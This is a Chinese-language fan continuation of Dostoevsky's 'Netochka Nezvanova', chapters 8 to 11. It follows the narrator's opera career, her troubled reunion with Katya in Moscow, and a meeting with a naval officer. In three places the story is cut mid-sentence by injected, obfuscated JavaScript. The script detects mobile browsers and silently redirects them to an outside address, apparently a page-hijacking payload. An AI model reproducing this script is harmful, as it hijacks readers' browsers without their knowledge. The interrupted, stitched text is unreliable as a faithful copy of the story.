《涅朵奇卡·涅茨瓦诺娃》 1. 第8章 阿列克桑德拉·米哈伊洛夫娜在床上昏迷了将近一周后终于醒了。我当时伏在她的床前睡着了。突然,我感觉头发被一只手轻柔地抚摸了一下,耳畔响起了熟悉的声音。 “涅朵奇卡,你怎么在这?” 我猛地抬起头看向她。夕阳透过窗帘的缝隙照在她苍白瘦削的脸上,她的神色里带着某种沉静的温柔。 “您醒了?” 她点了点头,幽幽地告诉我说,自己做了一个很长的梦。梦中她回到了自己的少女时代。那时她的母亲——公爵夫人还没有再婚,她也没有恋爱。她一直生活在父亲位于乡下的庄园里。她总是赤着脚跑在洒满阳光的草地上,与花草、树木、动物为伴。她也和我一样长时间沉浸在文学、音乐的世界,对世界充满了幻想。 她喜欢偷偷溜到庄园后面的马厩找马儿玩。家里的老仆人格里高利总是宠爱地对待这位年轻的小主人。老实的格里高利用一双粗糙厚重的大手把她抱上马,然后牵着马带她去后山玩。每当太阳的余晖铺满整个后山,她才满头大汗地回到家里。 她讲述这些时脸上带着恬淡的笑容,仿佛一周前发生的争吵已经不记得了。 彼得·阿列克桑德罗维奇在妻子生病昏迷的几天里不时在她房间门口转悠着,但很少进去。他的助手奥弗罗夫在这期间又找了我一次,表示想与我谈一谈,但被我拒绝了。 偶尔在走廊上与彼得·阿列克桑德罗维奇遇见,我们都没有讲话。他的目光被那只绿色的大眼镜完全地遮挡住了。 在彼此的沉默中我们似乎达成了某种暗中协议——我不会戳穿他,他也无法再用卑劣的方式继续打压自己的妻子。但他心里到底有没有对自己的妻子感到哪怕一丝的愧疚,这就不得而知了。 阿列克桑德拉·米哈伊洛夫娜醒来后大部分时间精神状态还不错。她仍和往常一样不愿意出门,而且比以往更喜欢沉思了。她对彼得·阿列克桑德罗维奇的态度有了部分改变。虽然表面上她与他仍维持着的客气与尊敬,但她的眼神中少了怯懦与恐惧。 只有在某些时刻,她好像突然回想起什么往事似的,开始短暂地神经性地歇斯底里,嘴里念叨着一些未曾听说过的名字,有时候里面也包括彼得·阿列克桑德罗维奇的名字。她恶毒地诅咒着提到的那些人,声称他们是毁掉她青春的刽子手。 但疯狂的时刻持续的时间不久,不一会儿她就像惊恐的孩子一样突然被自己的样子吓到,跪在地上哭起来。哭完她就会陷入死一般的沉静之中。 这样一来,阿列克桑德拉·米哈伊洛夫娜和彼得·阿列克桑德罗维奇的婚姻彻底地走向了名存实亡。阿列克桑德拉·米哈伊洛夫娜如同生活在一座婚姻的坟墓之中,大部分时刻她只能无奈地接受这个事实,偶尔她会试图用手掘开这座坟墓,但那对于虚弱的、拥有两个未长大的孩子的她来说还很困难。 我一有空就陪伴在阿列克桑德拉·米哈伊洛夫娜身边。我们像以前一样聊文学、音乐。只有这种时刻她才能流露出一点发自肺腑的开心。 我长久地看着她,这个刚满三十岁的女人竟已经有不少白发了。我思索着,这八年来眼前这个女人在我的生命里究竟充当着什么样的角色?她是我的母亲,我的老师,我的姐姐,我的朋友,她是给予我的生命光明之人,即使她自己也生活在无尽的灰暗之中。 和爸爸妈妈在那间低矮简陋的房间生活的场景渐渐远去了。我不那么常回忆起儿时的痛苦了,仿佛那已然是上辈子的事情。叶菲莫夫——我的继父,我对他早已没有了憎恨,虽然,他在某种意义上杀死了我那可怜的母亲。 每次从音乐学院回来的路上,夕阳洒在涅瓦河的河面上,叶菲莫夫穿着破礼服坐在角落里、眼睛流露出某种神经质的激动与悲哀的画面常常在我的脑海里闪现。然而,属于他的故事已经渐渐远去,属于我的故事才刚刚开始。 我在音乐学院的学习还算顺利。系统的学习使我掌握了丰富的乐理知识和音乐技巧。同时,我的嗓音逐渐发展成熟,在音乐学院我是最受意大利老师Д青睐的那位。 在很小很小的时候,我便试图在母亲和继父面前证明我是个好孩子,即使当初做这件事时可能是出于无意识——我只想要更多来自父母的爱。 寄居在公爵家、阿列克桑德拉·米哈伊洛夫娜家之后,我又想努力得到他们的喜爱,但我本质上并不是一个擅长讨长辈喜欢的孩子,所以我的表现总显得蹩脚、不合时宜。 音乐学院里不乏优秀的、出身高贵的学生,在这样的环境中脱颖而出并不是一件简单的事情。我很努力,但我更习惯于表现地不那么努力,因为“过于努力”的人会受到周围同学的排挤。同时,老师们总是更惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129303|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜于看到一个天赋型选手,而不是努力型选手。 于是,每一次被夸奖时只有我自己知道,我是如何在逼仄的角落里用尽全力来获取一点点的进步的。 我把自己得到的每一次夸奖当作是短暂性的胜利。我在内心里偷偷咀嚼着、回味着属于我的“胜利”。 阿列克桑德拉·米哈伊洛夫娜身体恢复之后,小提琴家Б前来看望过她一次。闲聊之中Б关切地问了我的近况。对艺术纯粹的热爱加上对叶菲莫夫的复杂情感以及善良的天性使Б一直很关心我的命运。 Б对我的成绩很满意,这位白发苍苍的老人激动地告诉阿列克桑德拉·米哈伊洛夫娜,等我音乐学院毕业,将亲自领我进入剧院登台演出。 Б的话令我非常激动。他离开后,我回到自己的房间把门锁上,然后把头埋在枕头里哭了。 我是多么期待那一天的到来啊!那时我将不用再过寄人篱下的生活,虽然这些年我得到了公爵和阿列克桑德拉·米哈伊洛夫娜的爱护,但在某种程度上这仍然是一种缺乏主体性的生活。与其说我渴望着叶菲莫夫未曾拥有的胜利,不如说我渴望着一种完全独立的生活,一种崭新的生活。 那时我会和卡佳重逢吗?八年来我在梦中无数次地梦到她。我在梦中看见她那完美的面庞在阳光下熠熠生辉,我无法控制地爱她。但与此同时,当我迈进更大的世界时,我也更清楚地明白了我和她面对的人生难度是多么不同。 当我在音乐学院的琴房苦练到双手发抖时,当我用尽全力获得他人的肯定时,她在做什么呢?和围绕在她身边的贵族小姐、贵族青年讨论诗歌、艺术吗?她如此耀眼,毫不费力便能拥有很多的喜爱。她在真正地享受青春吧。 不仅如此,我的生活还被学校、家里的各种算计包围着。我必须小心翼翼地走每一步路。而她在公爵的庇佑与宠爱下依旧是那么正直、纯洁,她的心依旧如钻石般透明而闪耀。我年少的自尊心会因此作祟,我的心像是分裂了一样,我一边无止境地想念她,欣赏她的光彩,同时又向往她的生活环境,嫉妒、甚至厌恶想象中的她此刻的快乐。 我一边痛苦,一边用这种痛苦鞭策自己。我们的物理距离是那么遥远,但我却感觉她从未离开我的身体。 我没有一天不渴望能与她真正地平等地站在一起。那一天会到来吗? 2. 第9章 四年后,我从音乐学院毕业了。 离开音乐学院时,我既感到前所未有的欣喜,同时也有对未来的忧虑。我仿佛离开了一条两侧都是郁郁葱葱大树的道路,来到了一片无际的旷野。自由,同时也意味着孤独与独自面对风险。 幸运的是,在我人生的转折点总有贵人相助。我先是经由Б的介绍进入彼得堡一家小剧院,正式成为了一名歌剧女高音。半年后,在老师Д的带领下首次亮相彼得堡歌剧院,在莫扎特的歌剧《费加罗的婚礼》中饰演芭芭丽娜一角。凭借着不错的表演,我获得了越来越多的演出机会。 一次偶然的机会,由于彼得堡歌剧院的台柱女高音突然生病,我临时被邀请顶替她出演歌剧《鲁斯兰与柳德米拉》中的女主角柳德米拉。这部歌剧成为我首获成功的果实。我开始成为舞台上的焦点,并开启了在几个外省剧院的首次亮相。 那次巡演是我生平第一次离开彼得堡——那个包含着我童年、少年时代全部记忆的城市。之后的几十年里我不停奔波于各个国家、各个城市,但第一次离开彼得堡时的心情却在我心中久久不能淡去。 我坐在火车上,看着逐渐远去的彼得堡的一草一木,眼泪不自觉地流了下来。模糊的幻象里、火车轰隆的汽笛声中,我看见了妈妈穿着破旧的衣服在脏兮兮的煤炉旁劳作的身影,叶菲莫菲带着旧礼帽,眯着眼睛张望着挂红色窗帘房子的背影,自己初到公爵家时在富丽堂皇却又阴森压抑的大厅里迷失的场景,和卡佳分别时她拥抱我时颤抖的双手,初识阿列克桑德拉·米哈伊洛夫娜时她那忧戚的神情…… 过往的日子就这样一去不复返了。 火车上坐在我对面的是一位年轻的男高音歌唱家,名叫尼古拉·彼得洛维奇·伊万诺夫。他是我的搭档——歌剧《鲁斯兰与柳德米拉》中鲁斯兰的扮演者。尼古拉·彼得洛维奇比我早几年进入歌剧院,现在已经小有名望。 “安娜·格里高利耶夫娜,您怎么了?”尼古拉·彼得洛维奇关切地递给我一张精致的手帕。 “谢谢。”我接过手帕,“不瞒您说,这是我第一次离开彼得堡。” “原来这位小姐刚离开家就开始想家了?”尼古拉·彼得洛维奇笑了笑,“以后您要出门的日子还多着呢!偷偷告诉您,您第一次开口的时候我就注意到您了。您有很好的天赋,嗓音音域宽广,表演又极具舞台表现力,以后一定会大有前途。” “您过奖了。在音乐学院学习的时候我也自我感觉不错。可进了歌剧院之后才发现,这世界上根本不缺乏有艺术天赋的人,尤其是在我们俄国。” “这我是同意的。上帝赋予俄国人看似粗犷的性格,可这粗犷之中却蕴含着对艺术最精细微妙的理解。您知道吗,欧洲很少有人能真正领略俄国文学艺术的精髓。因为我们的文学艺术孕育于漫长的冬季、寒冷的风雪、广袤的森林以及俄罗斯人谜一样复杂矛盾的性格之中。 前年夏天我随剧团去法国演出,那是我第一次出国。说实话,刚到巴黎的时候我就立刻被那繁华的街景吸引了。那里马路宽阔、车水马龙,街道两旁的建筑整齐且独具特色,塞纳河畔打扮精致的女士来来往往。当巴尔扎克和司汤达笔下的巴黎最终在我的眼前徐徐展开时,我却逐渐感觉一切美得极不真实,我感觉那精美的艺术和我终究隔着一层纱。 呆了一个多月快要离开巴黎的时候,我竟然开始想念彼得堡脏乱的街道、穿着旧棉袄佝偻着身子拉车的马车夫、小酒馆里满嘴脏话的醉汉……因为我所表演的一切,我的灵魂是在那里诞生的啊!”尼古拉·彼得洛维奇讲述的过程中眼睛里闪着兴奋的光。 “您当真是一位艺术家呢!或许,还是一位民族派。” “您称我为‘艺术家’我很高兴。不过我并不是什么民族派或者斯拉夫主义者。我只关注艺术,对于某些事物只凭感觉去喜爱或者不喜爱。而且话虽如此,我其实很喜欢随剧团去各地演出。这种漂泊的生活对我来说很有趣。因为只有离开时,你才会开始想念你所离开的人和地方。” “我明白您的意思。我刚才流泪与其说是因为第一次与彼得堡和过去的生活分离,不如说是出于对未知的兴奋与向往。” “看得出来,您是一位勇敢的姑娘。”尼古拉·彼得洛维奇笑着点了点头。 火车终于驶离了有人烟的地方,进入了广阔的的原野之中,窗外的风景变得荒凉而孤寂。 在阵阵汽笛声中,在车厢内嘈杂的争吵声中,我仿佛又看见妈妈围着围裙蹲在逼仄的房间一角笑着看向我,她虚弱的声音在我的耳畔响起:“涅朵奇卡,你将去往哪里?” 眼前匆匆驶过的树木在眼前模糊成绿色的波浪,如同命运的洪流裹挟着我不断向前。 外省的几场演出都很顺利。在特维尔城稍作休息后,我们便踏上了前往莫斯科的路程。去莫斯科的路上,我的心情同前几天大大不同了。那里有对我的生命意义重大的一家人——公爵一家,其中包括我心心念念想了将近八年的卡佳。 我不知道我的公爵小姐现在是什么样子,无法想象再次见到她时自己会是怎样的心情。即便我现在在歌剧界初露锋芒,在她面前我仍然显得没那么自信。她还会像以前一样喜欢我吗? 我的心情因她而激动、紧张,几夜难眠。 在莫斯科歌剧院的演出反响很不错。三度谢幕后,掌声依旧不断。我深深感受到了作为一名表演者的荣幸。当自己的表演被观众喜爱时,心情不仅仅是开心,一股深深的使命感会涌上心头。无形之中我会对自己更加严苛,生怕下一场演出出什么岔子,让观众失望。 我看着台下一张张笑容洋溢的脸庞,目光被一双黑宝石般明亮的眼睛所吸引,那双眼睛闪着骄傲自豪却又神秘悲伤的光。突然,我感觉心脏像是漏跳了几拍——我猛然意识到,是她! 一别数年,她终于重新站在了我的面前。我的生命,我的公爵小姐,我的卡佳。 再次看见那张面孔的喜悦如暴风雨般席卷着我的大脑。我的心比八年前第一次见到她时跳动得还要剧烈。我站在原地,周围的一切在眼前虚焦,仿佛都与我无关了。曾经幸福的回忆扑面而来。我那狭小心胸里因无端的想象而萌生的对她的嫉妒顷刻间灰飞烟灭,爱瞬间复活了。 但与我的目光撞上的那一刻,卡佳并没有流露出和我同样的兴奋,反而显得有些紧张和慌乱。她避开了我的目光,侧着身子从观众席快步离开。 我不解地目视着她的一举一动,不自觉上前走了两步,一阵温热的气息颤抖着经过喉咙,因激动而有些发木的嘴唇自觉张开,那个在深夜里咀嚼过无数遍的名字从心底、从唇齿间飞了出来。 “卡佳!” 前排的观众顺着我的目光朝卡佳的方向看去,有几位打扮时髦的女士看见卡佳后笑着议论了两句。卡佳依旧没有理会我。我不可能认错她,那一定是她。她怎么了?她来看我的演出,却又不愿意理我? 我拽着演出长裙从舞台上跑了下来。我在人群中挤着向前,目光紧紧盯着她的背影,生怕一眨眼的功夫她又从我的眼前再次消失了。我跟在她后面来到了剧院门口,卡佳上了马车,轻轻拍了一下马车夫的肩,示意他快走。我继续唤着她的名字跟在后面。 时值隆冬,纷乱的雪花落在我的肩膀和脖颈上。 马车走了几步后停了下来,卡佳回过头看着我,眼神中充满了无奈。她朝我喊道:“您这是要做什么?” “卡佳,是我,你的安涅塔。”我跑到她的马车旁,抬头望着她,眼泪抑制不住地流了出来。 “我当然知道是您,您现在可是有名的歌手了。” “我做歌手你不开心吗?为什么要躲着我呢?你不愿意和我继续做朋友了吗?”我语无伦次地说着,“卡佳,我们好久没有见面了。我总是梦到你、想到你。” “我没有不开心。相反,我为您感到高兴。只是,”卡佳停顿了一下,把嘴唇咬得发白,“您快回去吧,外面太冷了。祝您以后演出顺利!现在请放我走吧。” “卡佳,我不明白你为什么要这样说?” “安涅塔,我们曾经是很好的朋友,但一别数年,我们都有了很大的变化,一切都时过境迁啦。” “我明白。可我爱你的心从来都没有变过。难道,你不再爱我了?” 卡佳低下了头没有回答我。 “没关系。”我向她伸出手,“那我们重新认识吧,好不好?” “不好。”卡佳别过头,语气坚决,“你走吧,不要再跟着我了。” “不。”我倔强地抓住她的袖口。 “你说的对,我不再爱你了。世界上这么多人,我为什么要抓住你一个不放呢?”卡佳的目光像一只犀利的小猫。 “那你今天为什么要来看我的演出?”我感到非常委屈。 “无聊,因为在家呆得无聊。而且,我又不知道今天有你。”卡佳不耐烦地说道。 我没有再吭声。卡佳强硬地把袖口从我的手中扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二人私奔到了К的家乡,外省的某个小城。如果事情就此打住也就算了,可谁能想到,那位К先生早年有过婚约,未婚妻就住在那个小城里。虽然К极力对公爵小姐解释说,他早就决定放弃婚约,但心高气傲的公爵小姐怎么会理会呢?小姐独自一人回到了莫斯科,刚一到家就病倒了。 公爵夫人为此可是生了很大的气。一年后,等这件事平息地差不多了,公爵夫人立刻悄声为女儿物色了一位未婚夫——从国外回来的年轻的公爵Ц。很快就举行了订婚仪式。但您猜怎么着,那位К知道公爵小姐订婚后仍不死心,喝得醉醺醺地来到了小姐的订婚宴,请求小姐原谅他。Ц这才知道小姐先前和К的事情。Ц对公爵小姐说,自己并不介意她的那些往事,但不理解为什么公爵小姐一开始就对他有所隐瞒。就这样,订婚宴不欢而散。 公爵小姐和Ц以及К事情在上流社会很快就闹得人尽皆知。从那往后,公爵小姐几乎没有出过门,公爵夫人也很少出门。茶余饭后那些贵妇人都在讨论,这么一位美丽高傲的小姐以后可怎么嫁得出去呢?谁还会娶她呢?” 娜塔莉亚·谢尔盖耶夫娜讲述完后仍唏嘘不已。她讲述的过程中我感到既震惊又难受。 卡佳居然遭受了这么大的委屈!原来Б早就知道这些事情,怪不得之前他的来信中总是对卡佳的事情避而不谈。 “那公爵呢?公爵现在怎么样?”我继续问道。 “那位善良又可怜的公爵日子也不好过。本来女儿的事情就让他备受打击,再加上他的弟弟В公爵和和他侄子一年前大费周折办了个杂志,结果没过多久就被查封了,政府认为杂志内容有反动倾向。公爵为了还清弟弟的欠款变卖了好几处田产,又为侄子被关押的事情四处奔波,现在身体也垮了。” “没想到发生了这么多事情。我在彼得堡竟什么都不知道。” “公爵小姐能在这种情况下来看您的演出,想必您对她一定很重要吧。那么请您抽空去看望公爵一家吧!”娜塔莉亚·谢尔盖耶夫娜激动地握住我的手,“不瞒您说,我对公爵家的事情如此了解正是因为这一切都是我主动打听的。公爵在很多年前曾经资助过我,那时候我还只是一个穷医生的女儿。如果不是公爵的资助我现在也不会站在舞台上。但我只是公爵曾经资助的众多孩子中的一个,他肯定不记得我了,我也没有资格去过问他家的事情,只能默默祈求上帝保佑这位善良的老人。” “所以您刚才是故意在此等我,想告诉我这些的吗?” “正是如此。”娜塔莉亚·谢尔盖耶夫娜低头一笑。 “请放心,我一定会去拜访公爵的。” “太好了!上帝保佑您!”娜塔莉亚·谢尔盖耶夫娜虔诚地在胸口划了个十字。 3. 第10章 回到旅馆后我思绪万千,同卡佳戏剧般的重逢以及同娜塔莉亚·谢尔盖耶夫娜的谈话令我的头隐隐作痛。 卡佳的境遇与经历会影响她在我心里的地位和分量吗?不,绝不会,我甚至更爱她了。即使骄傲的她现在披上了防备,对我冷漠相对,我仍然愿意无条件地相信她。 卡佳身上有天生的自信与最干净的气质。她从不会撒谎。她受到伤害时只会感到惊讶,而不是立刻伺机报复,因为她没见过人性中最低劣的部分。她的任性没有一丝一毫的矫揉造作,因为那源自她未经苦难雕琢的天性。她的坚强会在受挫时从身体里长出来,就像鸟儿长出羽翼,略显稚嫩却充满力量。她正直、果敢,就连眼睛里忧伤都是明亮的。 与她相比,我仿佛常年生活在地下室、缺乏阳光照射的人。我时常有一些阴郁的想法。甚至就在此刻,我头脑中还闪现了个卑劣的想法:卡佳的苦难拉近了我和她的距离。她是那么完美,一直以来我在她面前总是感到自卑,即使我现在取得了小小的成功,这种感受仍然没有完全褪去。 但我立刻为自己产生这种想法而感到羞愧。那是照亮我生命、我最爱的人啊!那是即使让我一辈子自卑,也不愿意让她受苦的人啊!那是我生命中的意外的惊喜,恒久不变的爱。我希望她能获得真正的幸福,即使代价是我不能陪在她身边。 我在纷繁的思绪中胡乱睡去。第二天一早,我没有随剧团回彼得堡,而是在旅馆继续住了下来。我决定要把卡佳和公爵一家的事情弄清楚。我让尼古拉·彼德洛维奇给阿列克桑德拉·米哈伊洛夫娜捎了便条,让后者不要担心,我很快便会返回彼得堡。 我打听了公爵家的地址后便只身前往。冬日的莫斯科温度极低,太阳如同没有温度的照明灯,行人呼出的哈气瞬间凝结成白霜挂在脸颊上。道路上的积雪很厚,穿城而过的莫斯科河被冻住了,鸟儿直接落脚在结了冰的河面上。一路上我的心情复杂又紧张。 终于来到了公爵家。一个门童领我进了前厅等待,他自己前去通报公爵大人。我不安地坐在前厅等待着。很快门童就回来了,告诉我公爵正在大厅等我。 走进大厅,我看见了一个身形佝偻、头发全白的老人,见我走进来,他朝我和善地笑了笑。 这就是公爵。这就是那位在父母离我而去后,我茫然地在街上奔跑时遇到的那个人,最初改变我生命轨迹的人,我深爱的卡佳的父亲,陪伴并改变了我整个少年时代的阿列克桑德拉·米哈伊洛夫娜的继父。 我跟这位老人有着多么深的渊源啊。当初被叶菲莫夫丢下后在街上奔跑的那个惊慌、恐惧的小女孩能否想象到自己竟一头撞上了命运的转盘,从此人生的指针指向完全不同的方向。 老人目光颤抖着看向我,两行泪从眼里流出来。“涅朵奇卡,是你啊!真的是你啊!我的好孩子!” 我的泪水也抑制不住地流了下来,我上前拥抱了公爵,“您好吗?我是多么想念您啊!” “你瞧,我老啦!身体大不如从前了。” 他的脸越衰老,神态中反而越透露出孩童般的天真与纯粹。我不停亲吻着他的双手,给他讲述了我从彼得堡出发后一路上的见闻。老人一边听我讲述一边流泪。 门外传来一阵脚步声,公爵夫人走了进来。 “我还以为是谁来了,把家里搞得闹哄哄的。原来是您,真是贵客!”公爵夫人冷淡地说道。 她那双锐利的黑眼睛变得有些浑浊,闪着尖酸刻薄的光,薄薄的嘴唇变得愈发干瘪。这个美丽的女人经历了种种事情后也衰老而没有光彩了。 我向她问了好,走上前想要亲吻她的手,她却一把把手抽了回去。 “您现在风头正劲,怎么有空来我们这?” “夫人,我很想念您和公爵大人。还有,阿列克桑德拉·米哈伊洛夫娜让我代她向您问好。” “阿列克桑德拉·米哈伊洛夫娜。”公爵夫人小声嘀咕了一遍自己大女儿的名字,然后气愤地看向我,“您一个小小的孤女,究竟有什么魔力让我的女儿们都对你如此上心?托她们的福您如今事业有成,可她们却生活在泥泞之中!上帝啊!这是多么不公平!” “夫人,如果可以的话,我多么愿意代替她们去受苦。请相信,我也全心全意爱着她们!” “你当然得爱她们!换做我是您,一定会日日跪在圣象前替她们祷告!” “妈妈!瞧瞧您在说些什么?您都对这个可怜的人说了什么啊!”卡佳从门外冲了进来向公爵夫人喊道。 “她可怜?你看,她现在好着呢!”公爵夫人眼泪汪汪地看着卡佳,“我的宝贝,可怜的人是你!这个孤女给你灌了什么迷魂汤?为什么她一出现你就要和我顶撞呢?你以前是多么听妈妈的话啊!” “妈妈,求求您不要再胡说了!” 公爵夫人继续自顾自地喋喋不休,生活的苦难使这个骄傲的女人变得有些神经质了。公爵在一旁温柔地安慰着自己的妻子。 卡佳一把拉过我的手把我带回了自己的房间。她把门锁上,然后把我丢在房间一角,自己在窗前来回踱步,一头黑色的鬈发随着她的脚步舞动着。某一刹那,我仿佛又看到了八年前那个没还未长大的小女孩。 突然,卡佳转过身盯着我,质问道:“你现在又是在做什么呢?都告诉你不要来找我了。” “卡佳,我都知道了。” “什么?” “我是说,你的事情我都知道了。” “你都知道了?”她有些惊讶,又有些羞愧,脸颊不自觉红了起来,“是啊。你迟早会知道的!所以你现在觉得我凄惨可怜吗?你是来同情我的吗?” 她骄傲又倔强的样子一点儿都没变。我不禁想起了小时候她因任性和自尊被莱奥塔尔夫人批评时的样子。 “不,当然不!”我走到她面前,“我有什么资格同情你呢?我想告诉你,无论发生什么事我都会站在你的身边。” “好,现在你告诉我了,我知道你的想法了。你可以离开了吗?” “卡佳!”我不解地望着她。 “你现在很忙吧?你有了自己的事业,需要四处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129305|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巡演。不像我,整天无所事事地呆在这空旷无趣的房子里。我们的生活是那么不同,你难道还指望我们能像小时候一样无忧无虑地聊任何事情吗?” “即使不说话,我也想要呆在你的身边,只有那样我才感觉自己的脉搏是在用力跳动着的。卡坚卡,你早已经融入了我的身体里。我不能没有你。” 卡佳转过头没有吭声。 “外面是在流传你的事情,可我怎么会在意那些呢?对我来说你永远是我第一次见到时那个光彩熠熠的小女孩,那个正直、善良、又有点傲娇的小女孩。” “涅朵奇卡,涅朵奇卡!”卡佳的眼泪涌了出来,“你这是何苦呢?” “我不在乎你爱过什么人,经历了什么,我爱你就够了。” “你以为我爱那个小提琴家吗?”卡佳的声音变得微哑,“我不过是被无聊冲昏了头脑。与其像阿列克桑德拉·米哈伊洛夫娜一样嫁给一个自己不爱的人,过着坟墓般的婚后生活,不如做一些疯狂的事情。我当时就是这样想的。哦,阿列克桑德拉·米哈伊洛夫娜,我可怜的姐姐!她忍受了多少痛苦啊!虽然她嘴上不说,但我和爸爸心里都明白,她过得不好。至于那位Ц公爵,我们全家上下只有妈妈喜欢他,或者说,喜欢他的公爵头衔!” “卡佳,跟我回彼得堡吧,在那里重新开始。我可以赚很多很多钱给你,我现在能赚钱了。”我紧紧握住她的手,“如果你愿意,我还可以陪你出国。我们去欧洲,好吗?” “涅朵奇卡,我又何尝不想离开这里?可爸爸年龄越来越大了,他离不开我。而且叔叔的事情没有处理好之前,爸爸是不会离开莫斯科的,毕竟那是他年龄最小的弟弟。” “我能帮上什么忙吗?” “你什么都帮不了。涅朵奇卡,不要来趟浑水。” “可我怎么能留你一人在这里受苦!” “涅朵奇卡,和你以前经历的苦难相比,我这又算得了什么呢?现在你的好日子要来了,你要好好抓住机会。我的小鸽子,上帝知道我有多少次在夜里梦见你。你成了歌手后我是多么开心啊!我可怜又勇敢的小女孩终于有了美好的前途,我开心的要哭了。”卡佳不停地亲吻着我的手。 “我知道你要来莫斯科演出之后是多么激动啊!我昨晚是瞒着妈妈偷偷溜出去的。就像小时候我们有一次被迫被妈妈分开,我和你偷偷在爸爸的书房里见面那样。你还记得那件事吗?我总是回忆起那些场景呢!那时我们躺在一张床上,拥抱着彼此,互相亲吻。从那之后我的生活里再没有那样的甜蜜啦。涅朵奇卡,我最亲爱的,你来了,我怎么能忍住不去看你呢?你知道你在台上是多么光彩夺目吗?你登台的那一刻我立刻就再次爱上你了!可你瞧瞧我昨天晚上是怎么刺痛你的心的。请你原谅我,好吗?” “无论你对我做什么,我永远都不会责怪你。” 她的脸因激动而变得通红,上面还挂着几滴晶莹的泪珠。我拭去她脸上的泪,然后和她甜蜜地、快活地拥抱在了一起,像朋友,像久别重逢的恋人。这一刻我期待了整整八年。 4. 第11章 巡演结束回到彼得堡后,我很快就回到了忙碌的演出状态中。巡演很顺利,彼得堡歌剧院对我越来越重用。 Б从报纸上看到了我的消息,老人特意前来探望我。对于我事业上的成功,他深感安慰。在他微微发红的、低垂的眼眸中,我看见了他对老友叶菲莫夫的思念。那时我突然意识到他对后者有着多么深沉的爱。 我和卡佳恢复了通信。就像她说的,是朋友才能互相写信啊。经历了漫长的离别,相逢着实来之不易。我像一只偷得蜜果的老鼠,反复咀嚼着重逢带来的喜悦。 我时常给她写着写着信就抑制不住激动的心情掩面而泣,信纸被泪水浸湿,只好换张新的重新写。我总是想到她,很想再见到她。但见不到彼此的时候,即便只是想到世界上有这样一个人的存在,也感到无与伦比的幸福。 在我离开的日子里,阿列克桑德拉·米哈伊洛夫娜日渐消瘦。在我的少年时代,她陪伴我一起读书、谈论艺术,可现在我却无法替她分担生活的苦涩。 每次看见她那张苍白瘦削的脸,我心里都有说不出来的愧疚。她的头脑虽然时而清醒时而糊涂,但只要看见我,她就会激动地握住我的手,或是抱着我。她为我感到骄傲。 成名带来的感觉并没有想象中那样好。在掌声与追捧声中,我的脑海中时而会闪现曾经在音乐学院学习的画面。那时我还是一个寄人篱下的孤儿,但那时有憧憬,有希望,晚上睡觉之前总会对未来进行一番美好的想象。有了名气后,每次演出结束回到家,疲惫纷至沓来。似乎没有精力再去做那些美梦了,睡觉变成了一件寻常普通的事情。 一次演出结束后,一个门童跑到后台交给了我一束花。我已经习惯演出结束后收到来自各路追捧者的鲜花,这次便没在意,随手放在了化妆台旁。 几天后,我才发现了异常——我只要一出现在剧院,就能引起别人的窃窃私语。一位善良的年轻女演员悄悄地提醒了我,她指了指那束已经有些枯萎的花,我这才看见花束里面夹着一封信。 信封已经被打开了,这意味着里面的内容已经被别人看到了。我迟疑着用手指夹起那封信,一眼就看见了信封上的落款——С.С. 信是谢尔盖·谢尔盖维奇写的。 谢尔盖·米哈伊尔洛维奇是一名海军少尉。相识之初,我才初入剧院没多久。 那是一个初秋的夜晚,演出结束后,我没有像往常一样坐马车回家,而是独自一个人走到了涅瓦河畔。 那天我悲伤地从报纸上得知,一位非常有天赋的意大利年轻女歌唱家因病去世,骨灰被洒进了爱琴海。她曾是我在音乐学院时崇拜的偶像。 夜晚的涅瓦河凉风习习,清冷的月光洒落在河面上。我吹着海风,静静坐在河边发呆,觉得前途迷茫。 不一会儿,风越来越大,一阵海浪袭来打湿了我的裙摆。我站起身来,看了眼四周无人,于是把裙摆卷起来,准备用手拧干水。这时,身后传来一阵爽朗的笑声。我回过头,发现不远处停靠的船的甲板上站着一位高瘦的年轻人。他朝我挥了挥手,然后轻快地跳到岸边,递给了我一件长外套。 借着河岸边微弱的灯光,我努力看清了眼前这位年轻人的容貌。他有着一对深邃黑亮的眸子,倔强性感的嘴唇,利落流畅的下颌线,一对招风耳叛逆又带点淘气。他的脸颊略凹陷,皮肤由于长时间呆在海上晒的黝黑。 “原来是您!”年轻人有些兴奋地说道。 我疑惑地看着他。 “我去剧院看过您的演出呢!”他俏皮地解释道。 “您看过我的演出?我才登台没多久呢!而且,我甚至没演过主角。” “实不相瞒,我就去过一次,但您实在令人印象深刻。” “是吗?”我诧异地看着他。 “虽然这么说不太好,但一直以来,观众已经习惯于那些嗓音洪亮、身材肥硕的歌唱家垄断歌剧舞台。像您这样漂亮迷人的女高音其实并不常见呢!” “您这么说可就是对歌剧演员抱有刻板印象了。” “也许吧。”年轻人两手一摊,俏皮地眨了下眼睛,“但我不想撒谎。” “谢谢您的衣服。请问您叫什么?” “谢尔盖·谢尔盖维奇·斯捷潘诺夫。海军少尉。” “幸会!” “您怎么会在这?您的车夫呢?” “我独自过来散散心,没有带车夫。” “那走吧,我送您回家。” 